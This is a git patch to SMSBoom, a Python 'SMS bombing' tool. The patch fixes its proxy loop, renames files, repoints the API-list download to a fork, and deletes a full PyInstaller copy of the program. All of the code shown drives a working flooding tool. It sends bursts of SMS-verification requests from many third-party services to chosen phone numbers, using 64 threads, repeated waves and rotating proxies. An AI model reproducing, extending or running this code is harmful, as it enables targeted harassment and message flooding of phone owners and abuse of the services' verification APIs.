From 1f5357159f1b90b05abc15d93f96e182530fd0db Mon Sep 17 00:00:00 2001 From: OpenEthan <108810745+OpenEthan@users.noreply.github.com> Date: Thu, 7 Jul 2022 21:36:06 +0800 Subject: [PATCH] =?UTF-8?q?=F0=9F=90=9E=20fix:=20=E4=B8=80=E5=80=8B?= =?UTF-8?q?=E7=8D=B2=E5=8F=96=E4=BB=A3=E7=90=86=E6=99=82=E7=9A=84=E9=82=8F?= =?UTF-8?q?=E8=BC=AF=E5=95=8F=E9=A1=8C.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- logo.ico | Bin 0 -> 4286 bytes smsboom.py | 29 ++-- smsboomen.py => smsboom_EN.py | 10 +- smsboom_pyinstall.py | 295 ---------------------------------- 4 files changed, 27 insertions(+), 307 deletions(-) create mode 100644 logo.ico rename smsboomen.py => smsboom_EN.py (97%) delete mode 100755 smsboom_pyinstall.py diff --git a/logo.ico b/logo.ico new file mode 100644 index 0000000000000000000000000000000000000000..9e4b00c732719a6a643340476361ef66e21fc2c2 GIT binary patch literal 4286 zcmb_f32YQq7=Cll?#|2}ReEuhwt!IDqNoHxtsJEs<&d`A#Uce1D3&4$C@o+FghY`* zh*6B-1sE_=q9i6tL{x-eG*P^g5|5~DY1ww$Zm;$GXLiY^iQV1eYyN#R^ZxgL-+#P+ zri^j;OG#n$%ieV{){ilE2Lz8;4uqbY18cDij^j*qnk9*+YkJ^-7-3?+a6X0cJXi$v zvGzX=6JLa}4A_6v=@bqmCQ9$6rphOW4V6!&4wg?Q#EU01P1pl!v!NI7Gz1g7uUta= z49iZYt_d$^WGGjsP1Tx~E^)R$w$jzLcD1{+Y>m5<=2a_P-3u2O{+tKxbpr=V=fJZB z1T-QMvSkvA`G=d6mMUMFS7@}Buk&(;uvhToxl55Nq{ zL!=Rm(SY$W)Y zP2ftsVbhx3&NETu*3X%(`))P%#Dnl3U*+yhN|Zi;dFofaj_hoisVcvHUXkG?eA<62 zaiG1_D-sgKQvjx(+3V=nPh_aqEroOSW}NrVMGJKA{CS#}`b>CSqrE2lV)QHY%!2@q zSb)^Op;kOKPirb(Y&2zL464h^%lTtkp5D-xI8Y3y#f%s#*a&^EngS=c__pA8L@rXhnFli+9poW8}{tk z(Xeb;QC-2qj^_7FNAcygpBb8s4F427xCS=xER&K5zK0L1W zu~jaAG#p3==dL|DSvn8w6iR(G{#(H@d2-0ty0K$ze-{<%P50a#SD!n{Xh1*fh*W#z z_sUXN`>>(PRp91|qWR5WnU3Pu;%RbF!Qsj5EcM#rg+|NzCp_jEs3`XYNXl{lM47uC zIrh^GUfq=Mf`|3C!71`(V9&7IEWZW8?0qmDT^zz<~PjIY7&ECMb$hYWWd*S8?HO~CdO2ze9$OL#)0Z~oQVu(YK%doUG z`R7N9oxbIdy8MW57v9TV=q(-SZym_Bf4~6g2bdiV;W$yEd{2?ajIW4ac|pRRS|zP(_s?kg%Ve91}DS=cgy z`i404u4?1x)eh(Te|Oqe?DER@&-oqCK7!6rhzD_q*pG=D*@MWCTwJc;MESTfrMO8* zNVyCfYw%6_G-Cb|Y9-%NHzS;_%q{yxfAyO-X;jV^yx}>c%qXqXc2zgY<7QrxGRJ?y zYt9#-Pv4cjjv&6tLrfaXcuzu=qw090IPyN~>8h>^Y+F?vv)QaVH}x5tZZF$cs}?`= z7j!BR_exvo^Z&TcwzNA>{ne%)xZoF(QV(M-@=H04UEK8m6XFN%)pk~UrL6m_u@s8; zO)XB68S-CZ-+aU;Ph9XV7G9Ne3hRtx*L=$C)qgs+9IdlIb-0n^g%V!1n||Hg9N|JK z*$)5Xw`;pUydjUDbqVT8ikSQpdIv&1&(p6x+#!PBzTmX>I5S+)woV=R1Uy5pP?| z+)CuE)i_qu&nI^JP?jJ2rV3zk{JF|Wp`^D3_Chc33luj6#K!CHGw1EX>koz#+b^A`~?#btrsU<(kIR#hHUrzI?V=G|^hTGgmz2D^BqfUF;jP*XqfhPL@ zravSRqDk2gME=l%;{P>5zJ=z#*zIIoppmga4P%v%2S2rB5avNu5hSSVtYJ(cfgRQf X=?+Q&bD*k+d list: @@ -106,33 +110,40 @@ def load_getapi() -> list: @click.command() -@click.option("--thread","--t","-t", help="线程数(默认64)", default=64) -@click.option("--phone", "-p","-P","--P","--p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True) +@click.option("--thread", "-t", help="线程数(默认64)", default=64) +@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True) @click.option('--frequency', "-f", default=1, help="执行次数(默认1次)", type=int) @click.option('--interval', "-i", default=60, help="间隔时间(默认60s)", type=int) @click.option('--enable_proxy', "-e", is_flag=True, help="开启代理(默认关闭)", type=bool) def run(thread: int, phone: Union[str, tuple], frequency: int, interval: int, enable_proxy: bool = False): """传入线程数和手机号启动轰炸,支持多手机号""" - logger.info(f"手机号:{phone}, 线程数:{thread}, 执行次数:{frequency}, 间隔时间:{interval}") + logger.info( + f"手机号:{phone}, 线程数:{thread}, 执行次数:{frequency}, 间隔时间:{interval}") with ThreadPoolExecutor(max_workers=thread) as pool: try: _api = load_json() _api_get = load_getapi() _proxies = load_proxies() + # fix: by Ethan + if not _proxies: + _proxies = [None] except ValueError: logger.error("读取接口出错!正在重新下载接口数据!....") update() sys.exit(1) for i in range(1, frequency + 1): logger.success(f"第{i}波轰炸开始!") + # 此處代碼邏輯有問題,如果 _proxy 為空就不會啓動轟炸,必須有東西才行 for proxy in _proxies: logger.success(f"第{i}波轰炸 - 当前正在使用代理:" + proxy['all://'] + " 进行轰炸...") if enable_proxy else logger.success(f"第{i}波开始轰炸...") # 不可用的代理或API过多可能会影响轰炸效果 for api in _api: - pool.submit(reqFuncByProxy, api, phone, proxy) if enable_proxy else pool.submit(reqFunc, api, phone) + pool.submit(reqFuncByProxy, api, phone, proxy) if enable_proxy else pool.submit( + reqFunc, api, phone) for api_get in _api_get: - pool.submit(reqFuncByProxy, api_get, phone, proxy) if enable_proxy else pool.submit(reqFunc, api_get, phone) + pool.submit(reqFuncByProxy, api_get, phone, proxy) if enable_proxy else pool.submit( + reqFunc, api_get, phone) logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....") time.sleep(interval) @@ -169,8 +180,8 @@ def oneRun(phone): @click.command() def update(): """从 github 获取最新接口""" - GETAPI_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/GETAPI.json" - API_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/api.json" + GETAPI_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/GETAPI.json" + API_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/api.json" logger.info(f"正在从GitHub拉取最新接口!") try: with httpx.Client(verify=False, timeout=10) as client: diff --git a/smsboomen.py b/smsboom_EN.py similarity index 97% rename from smsboomen.py rename to smsboom_EN.py index 768214f..96da1f5 100644 --- a/smsboomen.py +++ b/smsboom_EN.py @@ -1,5 +1,5 @@ # encoding=utf8 -# 短信测压主程序 +# smsboom English version from utils import default_header_user_agent from utils.log import logger @@ -14,9 +14,13 @@ import sys import time import click import httpx +import os -# current directory -path = pathlib.Path(__file__).parent +# determine if application is a script file or frozen exe +if getattr(sys, 'frozen', False): + path = os.path.dirname(sys.executable) +elif __file__: + path = os.path.dirname(__file__) def load_proxies() -> list: diff --git a/smsboom_pyinstall.py b/smsboom_pyinstall.py deleted file mode 100755 index e7b43d8..0000000 --- a/smsboom_pyinstall.py +++ /dev/null @@ -1,295 +0,0 @@ -# encoding=utf8 -# 短信测压主程序 -import pathlib -import sys -from typing import List, Union -import click -import json -import httpx -from loguru import logger -from concurrent.futures import ThreadPoolExecutor -import time -import sys -import os -from utils import default_header_user_agent -from utils.models import API - -# logger config -logger.remove() -logger.add( - sink=sys.stdout, - format="{time:YYYY-MM-DD at HH:mm:ss} - {level} - {message}", - colorize=True, - backtrace=True -) - -# current directory by pyinstall -path = os.path.dirname(os.path.realpath(sys.argv[0])) - -def load_proxies() -> list: - """load proxies for files - :return: proxies list - """ - proxy_data = [] - try: - proxy_path = pathlib.Path(path, 'http_proxy.txt') - for line in open(proxy_path): - le = line.replace("\r", "").replace("\n", "") - if le == '': - continue - proxy_one = { - 'all://': 'http://' + le - } - proxy_data.append(proxy_one) - proxy_path = pathlib.Path(path, 'socks4_proxy.txt') - for line in open(proxy_path): - le = line.replace("\r", "").replace("\n", "") - if le == '': - continue - proxy_one = { - 'all://': 'socks4://' + le - } - proxy_data.append(proxy_one) - proxy_path = pathlib.Path(path, 'socks5_proxy.txt') - for line in open(proxy_path): - le = line.replace("\r", "").replace("\n", "") - if le == '': - continue - proxy_one = { - 'all://': 'socks5://' + le - } - proxy_data.append(proxy_one) - except: - logger.error("proxies 加载失败") - return [] - logger.success(f"proxies 加载完成 接口数:{len(proxy_data)}") - return proxy_data - -def load_json() -> List[API]: - """load json for api.json - :return: api list - """ - json_path = pathlib.Path(path, 'api.json') - if not json_path.exists(): - logger.error("Json file not exists!") - # return None - raise ValueError - - with open(json_path.resolve(), mode="r", encoding="utf8") as j: - try: - datas = json.loads(j.read()) - APIs = [ - API(**data) - for data in datas - ] - logger.success(f"api.json 加载完成 接口数:{len(APIs)}") - return APIs - except Exception as why: - logger.error(f"Json file syntax error:{why}") - # return None - raise ValueError - - -def load_getapi() -> list: - """load GETAPI - :return: - """ - json_path = pathlib.Path(path, 'GETAPI.json') - if not json_path.exists(): - logger.error("GETAPI.json file not exists!") - # return None - raise ValueError - - with open(json_path.resolve(), mode="r", encoding="utf8") as j: - try: - datas = json.loads(j.read()) - logger.success(f"GETAPI加载完成,数目:{len(datas)}") - return datas - except Exception as why: - logger.error(f"Json file syntax error:{why}") - # return None - raise ValueError - - -def reqAPI(api: API, client: httpx.Client) -> httpx.Response: - if isinstance(api.data, dict): - resp = client.request(method=api.method, json=api.data, - headers=api.header, url=api.url) - else: - resp = client.request(method=api.method, data=api.data, - headers=api.header, url=api.url) - return resp - - -def reqFuncByProxy(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool: - - """通过代理请求接口方法""" - # 多手机号支持 - if isinstance(phone, tuple): - phone_lst = [_ for _ in phone] - else: - phone_lst = [phone] - with httpx.Client(headers=default_header_user_agent(), verify=False, proxies=proxy) as client: - for ph in phone_lst: - try: - if isinstance(api, API): - api = api.handle_API(ph) - resp = reqAPI(api, client) - logger.info(f"{api.desc}-{resp.text[:30]}") - else: - api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '') - resp = client.get(url=api, headers=default_header_user_agent()) - logger.info(f"GETAPI接口-{resp.text[:30]}") - return True - except httpx.HTTPError as why: - logger.error(f"请求失败{why}") - return False - - -def reqFunc(api: Union[API, str], phone: Union[tuple, str]) -> bool: - - """请求接口方法""" - # 多手机号支持 - if isinstance(phone, tuple): - phone_lst = [_ for _ in phone] - else: - phone_lst = [phone] - with httpx.Client(headers=default_header_user_agent(), verify=False) as client: - for ph in phone_lst: - try: - if isinstance(api, API): - api = api.handle_API(ph) - resp = reqAPI(api, client) - logger.info(f"{api.desc}-{resp.text[:30]}") - else: - api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '') - resp = client.get(url=api, headers=default_header_user_agent()) - logger.info(f"GETAPI接口-{resp.text[:30]}") - return True - except httpx.HTTPError as why: - logger.error(f"请求失败{why}") - return False - -@click.command() -@click.option("--thread", "-t", help="线程数(默认64)", default=64) -@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True) -@click.option('--frequency', "-f", default=1, help="执行次数(默认1次)", type=int) -@click.option('--interval', "-i", default=60, help="间隔时间(默认60s)", type=int) -@click.option('--enable_proxy', "-e", is_flag=True, help="开启代理(默认关闭)", type=bool) -def run(thread: int, phone: Union[str, tuple], frequency: int, interval: int, enable_proxy: bool = False): - """传入线程数和手机号启动轰炸,支持多手机号""" - logger.info(f"手机号:{phone}, 线程数:{thread}, 执行次数:{frequency}, 间隔时间:{interval}") - with ThreadPoolExecutor(max_workers=thread) as pool: - try: - _api = load_json() - _api_get = load_getapi() - _proxies = load_proxies() - except ValueError: - logger.error("读取接口出错!正在重新下载接口数据!....") - update() - sys.exit(1) - for i in range(1, frequency + 1): - logger.success(f"第{i}波轰炸开始!") - for proxy in _proxies: - logger.success(f"第{i}波轰炸 - 当前正在使用代理:" + - proxy['all://'] + " 进行轰炸...") if enable_proxy else logger.success(f"第{i}波开始轰炸...") - # 不可用的代理或API过多可能会影响轰炸效果 - for api in _api: - pool.submit(reqFuncByProxy, api, phone, proxy) if enable_proxy else pool.submit(reqFunc, api, phone) - for api_get in _api_get: - pool.submit(reqFuncByProxy, api_get, phone, proxy) if enable_proxy else pool.submit(reqFunc, api_get, phone) - logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....") - time.sleep(interval) - - -@click.command() -@click.option("-p", "--proxy", help="[!!暂时弃用该选项!!]GitHub 代理镜像(默认github.do)", default="https://github.do/") -def update(proxy: str): - """从 github 获取最新接口""" - GETAPI_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/GETAPI.json" - API_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/api.json" - logger.info(f"正在从GitHub拉取最新接口!") - try: - with httpx.Client(verify=False, timeout=10) as client: - # print(API_json_url) - GETAPI_json = client.get(GETAPI_json_url, headers=default_header_user_agent()).content.decode(encoding="utf8") - api_json = client.get(API_json_url, headers=default_header_user_agent()).content.decode(encoding="utf8") - - except Exception as why: - logger.error(f"拉取更新失败:{why}请多尝试几次!") - else: - with open(pathlib.Path(path, "GETAPI.json").absolute(), mode="w", encoding="utf8") as a: - a.write(GETAPI_json) - with open(pathlib.Path(path, "api.json").absolute(), mode="w", encoding="utf8") as a: - a.write(api_json) - logger.success(f"接口更新成功!") - -# 原方法 -# @click.command() -# @click.option("--thread", "-t", help="线程数(默认64)", default=64) -# @click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True) -# @click.option('--super', "-s", is_flag=True, help="循环模式") -# @click.option('--interval', "-i", default=60, help="循环间隔时间(默认60s)", type=int) -# def run(thread: int, phone: Union[str, tuple], interval: int, super: bool = False): -# """传入线程数和手机号启动轰炸,支持多手机号""" -# logger.info(f"循环模式:{super},手机号:{phone},线程数:{thread},循环间隔:{interval}") -# -# with ThreadPoolExecutor(max_workers=thread) as pool: -# try: -# _api = load_json() -# _api_get = load_getapi() -# except ValueError: -# logger.error("读取接口出错!正在重新下载接口数据!....") -# update() -# sys.exit(1) -# i = 0 -# if super: -# while True: -# i += 1 -# logger.success(f"第{i}波轰炸开始!") -# for api in _api: -# pool.submit(req, api, phone) -# for api_get in _api_get: -# pool.submit(req, api_get, phone) -# logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....") -# time.sleep(interval) -# else: -# for api in _api: -# pool.submit(req, api, phone) -# for api_get in _api_get: -# pool.submit(req, api_get, phone) -# -# def req(api: Union[API, str], phone: tuple): -# """请求接口方法""" -# # 多手机号支持 -# if isinstance(phone, tuple): -# phone_lst = [_ for _ in phone] -# else: -# phone_lst = [phone] -# with httpx.Client(headers=default_header_user_agent(), verify=False) as client: -# for ph in phone_lst: -# try: -# if isinstance(api, API): -# api = api.handle_API(ph) -# resp = reqAPI(api, client) -# logger.info(f"{api.desc}-{resp.text[:30]}") -# else: -# api = api.replace("[phone]", ph) -# resp = client.get(url=api, headers=default_header_user_agent()) -# logger.info(f"GETAPI接口-{resp.text[:30]}") -# except httpx.HTTPError as why: -# logger.error(f"{why.request.url}请求失败{why}") - - -@click.group() -def cli(): - pass - - -cli.add_command(run) -cli.add_command(update) - - -if __name__ == "__main__": - logger.info(f"当前脚本目录:{path}") - cli()